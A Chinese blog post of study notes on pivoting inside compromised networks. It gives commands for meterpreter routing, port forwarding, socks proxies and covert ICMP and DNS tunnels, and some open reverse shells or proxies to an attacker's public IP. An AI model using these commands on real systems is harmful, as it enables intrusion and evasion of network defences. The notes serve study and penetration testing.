首页 > 其他分享 >内网渗透-通信问题

内网渗透-通信问题

时间:2024-03-24 22:36:24浏览次数:17  
标签:跳板 渗透 ip 转发 端口 通信 代理 问题 公网

内网渗透-通信

tcpdump -n -i eth0 udp dst port 53  抓取流量

端口转发

linux下的端口转发:iptables、firewall

meterpreter端口转发(反弹shell后,meterpreter输入)

portfwd add -l 9999 -r ip -p 80:添加路由
portfwd list:打印端口映射
portfwd delete -l 9999 -r ip -p 80:删除路由

msf通过木马,把本地9999端口的流量转发到远程机器(ip对应的机器)的80端口木马把80端口返回流量转发到攻击机本地9999端口(木马使用的一些指令是在内存中直接加载,不是木马本身所占磁盘大小的,所以木马就几k大小但却可实现端口转发)

windows端口转发:netsh(windows做端口转发需要administrator)

(1)端口转发命令

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=ip connectport=80

将本地的8888端口流量转发到远程主机(ip对应的主机)的80端口,通常是拿到内网跳板机后执行端口转发

跳板机做端口转发时,可能遇到转发的跳板机端口(这里的8888)被封了,也就是防火墙拦了,解决方案:

  1. 找机器有提供服务的端口,把原有的服务关掉,用这个端口做端口转发
  2. 让跳板机访问自己,而不是自己去访问跳板机
  3. 使用ICMP协议,ICMP不用端口

(2)windows查看端口转发列表

netsh interface portproxy show all

(3)清除转发规则

netsh interface portproxy delete v4tov4 listenport=8888
netsh interface portproxy reset

msf内网操作

拿下跳板机后,通过跳板机建立路由、建立代理来对内网进行扫描、渗透

chcp 65001:更改编码格式,防止乱码

arp -a

sessions -i id:进入指定的session,也就是对应的meterpreter界面

内网路由

木马建立与内网的路由通道

(1)meterpreter直接路由

run autoroute -p:打印路由
run autoroute -s 192.168.57.0/24(一个网段)
run autoroute -d -s 192.168.57.0/24(删除指定路由)

(2)使用msf模块

route print:打印路由
run post/multi/manage/autoroute:自动添加木马所在主机的所有路由

(3)msf提示符

route add 192.168.57.0/24 1 (1代表session ID)

msf扫内网

use auxiliary/scanner/portscan/syn:扫描端口
auxiliary/scanner/discovery/udp_sweep:该模块扫描网段

Meterpreter->run get_local_subnets:获取网段

msf代理服务器

常见有socks代理、http代理

socks代理在七层模型比http代理更低层,功能更强大。

socks4代理只支持TCP,socks5代理只支持TCP、UDP

msf的socks代理模块

auxiliary/server/socks_proxy

jobs
jobs -k id 删除代理

linux的全局代理配置文件:vim /etc/proxychains4.conf

设置完上述配置文件后,在msf以外的命令行使用proxychains就可以使用代理

proxychains nmap ........(这里就可以使用配置的代理来用nmap扫描)

注意:proxychains只对TCP流量有效,所以不要用ping测试代理

路由只可以在msf中使用来攻击内网,因为它是通过木马来使用路由、建立连接

而通过msf的木马建立了代理之后,我们就可以在msf之外使用代理来攻击内网

隧道通信

隧道可以用做代理,但是隧道还可以用来隐蔽数据传输,过防火墙等检测系统。如DNS隧道就可以在DNS查询、响应中嵌入数据从而传输

Neo-regeorg(http正向隧道)

生成木马:

python neoreg.py generate -k 123456:123456是密钥

Neo-regeorg = msf生成php或jsp这些木马加路由+socks5代理

ssh隧道

目标服务器(跳板机)有ssh,开22端口

ssh本地转发

kali输入命令:

ssh -CfNg -L 8879:内网机器ip:80 uname@跳板机ip

输入跳板机的密码,访问本机127.0.0.1:8879,通过跳板机可以访问内网机器的80端口

这里其实就是跳板机做了个端口转发

ssh远程转发

win2016执行命令(需要kali开22端口也就是ssh):

ssh -CfNg -R 3333:内网机器ip:80 uname@kali的ip

输入kali的密码,访问内网机器的80端口

ICMP隧道

ICMP是相对底层的隧道,更隐蔽、不易检测,ping就是走的icmp。把tcp/udp数据封装到icmp

ping一般40几个字节,如果icmp隧道来攻击,数据会大一些,可以借此分析攻击行为。防火墙一般不拦截icmp,但容易被入侵检测系统发现(icmp是不加密的)

跳板机为windows

工具:icmpsh等

(1)kali运行

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #设置为0还原
因为icmpsh要代替系统本身的ping应答程序,所以需要修改上述值为1以关闭本地应答

开启服务端
python2 ./icmpsh_m.py ip1 跳板机ip

(2)跳板机运行icmpsh.exe

icmpsh.exe -t ip1

icmpsh.exe不用于powershell环境(powershell环境--NiShang)

跳板机为linux

工具:pingTunnel

DNS隧道

DNS几乎是不会被封的,因为需要解析域名,所以其他协议隧道用不了,用DNS隧道。

工具

dns3tcp:直连DNS隧道,快

iodine:支持转发模式、中继模式,慢。iodine使用c语言开发,原理是:在服务端通过TAP虚拟网卡,建立一个虚拟局域网,客户端建立一个虚拟网卡,二者通过DNS隧道连接,处于同一局域网。使用后客户端、服务端会出现一个dns0的网卡

条件需要域名、公网ip

(1)公网配置NS记录,方便把dns解析时的数据给到自己的公网机器

有个NS记录叫ns指向www.域名

而有个A记录www指向公网ip

vps记得开放53端口

(2)公网服务器安装iodine运行

iodined -f -c -P xxx 192.168.200.1 ns.域名 -DD
-f:前台运行
-c:禁止检查传入请求客户端ip地址
-P:指定客户端、服务端之间用于身份验证的密码(xxx)
-DD:调试级别为二级,D的数量表示几级

192.168.200.1是虚拟局域网的ip地址

(3)内网服务器安装iodine,执行

linux执行:iodine -f -P xxx 公网ip ns.域名
windows执行:iodine.exe -f -P xxx 公网ip ns.域名

利用DNS隧道创建socks5代理

(1)公网机器配置frps

[common]
bind_addr = 0.0.0.0
bind_port = 7000
token = 12345678

执行:./frps -c frps.ini

(2)内网机器配置frpc

[common]
server_addr = 192.168.200.1 iodine建立的公网机器的虚拟ip(iodine服务端)
server_port = 7000
token = 12345678

[socks5_xm]
type = tcp
remote_port = 8089
plugin = socks5

use_encryption = true
use_compression = true

执行:./frpc -c frpc.ini

kali配置代理:socks5 公网ip 8089

DNS隧道包裹socks5代理流量

EarthWorm

正向代理

跳板机运行:

ew_for_win_32.exe -s ssocksd -l 1080

攻击机用跳板机ip:1080做代理

反向代理

需要有公网ip

(1)公网服务器运行:

./ew_for_linux64 -s rcsocks -l 8080 -e 8086

8080是kali用的代理端口(也就是kali与之通信的端口),8086是与跳板机通信的端口

(2)跳板机运行

ew_for_win_32.exe -s rssocks -d 公网ip -e 8086

建立与公网ip指定端口的通信

正向代理用于,跳板机有公网ip(攻击机可以访问到的情况)

反向代理用于,跳板机无法被访问,但是它可以出网(可以去访问公网ip),就可以利用公网ip做反向代理

端口映射

frp端口映射

ssh服务

需要公网ip

(1)公网机器配置frps.ini,使用./frps -c frps.ini启动

[common]
bind_port  #frp服务端口

(2)内网机器配置内网frp客户端 frpc.ini

[common]
server_addr = 公网ip
server_port = 公网frp服务端端口

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8082  #设置为0是随机端口,8082是frp服务端监听的端口

任意机器输入ssh -p 8082 uname@公网ip就可以访问内网机器的22端口(也就是ssh连接到内网机器)

利用公网机器做中间的代理人,来访问内网服务,内网穿透工具就是这么个原理,只是不一定是映射内网的ssh服务

标签:跳板,渗透,ip,转发,端口,通信,代理,问题,公网
From: https://www.cnblogs.com/q1stop/p/18093233

相关文章

  • 内网渗透-免杀
    木马免杀免杀主要是对木马对应的二进制码(shellcode)进行混淆、加密(绕过特征检测),让杀毒软件识别不出来。msfvenom-shellcode使用msf生成shellcode(马对应的16进制),再使用高级语言加载上述生成的shellcode。然后把python程序打包成exe文件msfvenom-pwindows/x64/meterpreter/reve......
  • 借跳板通信内网实验
    借跳板通信内网实验win-server-2016:host-only:192.168.136.135ubuntu:host-only:192.168.136.136(开了web80端口)win-10:host-only+桥接:192.168.136.129、192.168.43.173kali:桥接:192.168.57.43.215注意win-server-2016是命令行版本的,没有桌面需要更改防火墙入站规则,允许icmp请求回......
  • 毕设小问题
    您可以在页面加载完成后,即在onLoad函数中的获取消息列表数据成功后,再调用wx.pageScrollTo实现页面滚动到底部。这样可以确保在页面初始化时已经加载了数据,并且在获取数据后再进行页面滚动。以下是一个示例代码,展示如何在正确的位置调用wx.pageScrollTo:onLoad(){le......
  • Python问题异常处理与日志结合
    我们掌握了try-except来处理程序运行中可能遇到的异常,以及使用logging来记录程序运行日志,该篇文章就结合二者来讲讲如何记录程序运行过程中的各种事件、状态信息以及遇到的异常情况,以便于追踪、诊断和解决程序运行时的问题。目录一、配置日志记录器 (logging.Logger)二、......
  • redis实际应用场景及并发问题的解决
    业务场景接下来要模拟的业务场景:每当被普通攻击的时候,有千分之三的概率掉落金币,每回合最多爆出两个金币。1.每个回合只有15秒。2.每次普通攻击的时间间隔是0.5s3.这个服务是一个集群(这个要求暂时不实现)编写接口,实现上述需求。核心问题可以想到要解决的主要问题是,1.如何......
  • Docker的下载问题
    1.首先说一下我在下载Docker是遇到的问题:镜像找不到,或者说没用的情况。2.解决方案:(1)先检查防火墙的状态(firewall-cmd--state),要确保防火墙的状态为关闭(临时关闭:systemctlstopfirewalled重启centos失效)(2)下载镜像,wgethttp://mirrors.163.com/docker-ce/linux/centos/docker-c......
  • 嵌入式硬件出现cpu占用过高的问题,如何解决cpu占用率过高
       当遇到嵌入式硬件中CPU占用率异常高的情况,通常首先要检查代码中是否存在死循环。死循环可能出现在for循环或while循环中,这会导致程序不断地执行,消耗大量CPU资源而不进行其他有用的工作。另外,在多线程应用中,如果线程中的while循环未包含适当的睡眠机制(例如调用sleep函数......
  • 同步通信 and 异步通讯
    同步调用存在的问题 异步调用方案:时间驱动模式 优势:1、服务解耦(添加服务不用修改支付服务的代码)2、性能提升、吞吐量的提高(支付成功之后,后续的服务和支付服务没有关系,由Broker事件通知完成)3、服务没有强依赖,不担心级联失败问题4、流浪削峰 总结:......
  • 如何修复Windows卡在“正在准备Windows”的问题?这里有详细步骤
    前言每次重新启动时,电脑都会卡在“正在准备Windows,请不要关闭你的计算机”屏幕上?不要惊慌!以下是针对Windows11/10/8中Windows卡在“正在准备Windows...”问题的一些有效修复程序,以及快速灾难恢复解决方案。Windows11/10卡在“正在准备Windows...”对于许多Windows11/10/8......
  • 如何处理多个字符串拼接出最大最小结果问题
    如题,给出若干个字符串输出字符串拼接成的最小的结果则我们应当对其进行排序,排序的规则是,如果总共字符串为s1,s2,s3.且如果是s1+s2大于s2+s1则应该将s2排在s1的前面,来使得最终拼接成的总字符串最小。排列后为s2,s1,s3.如果s1+s3>s3+s1的话将s3排在s1的前面。然后再进行s2与s3的......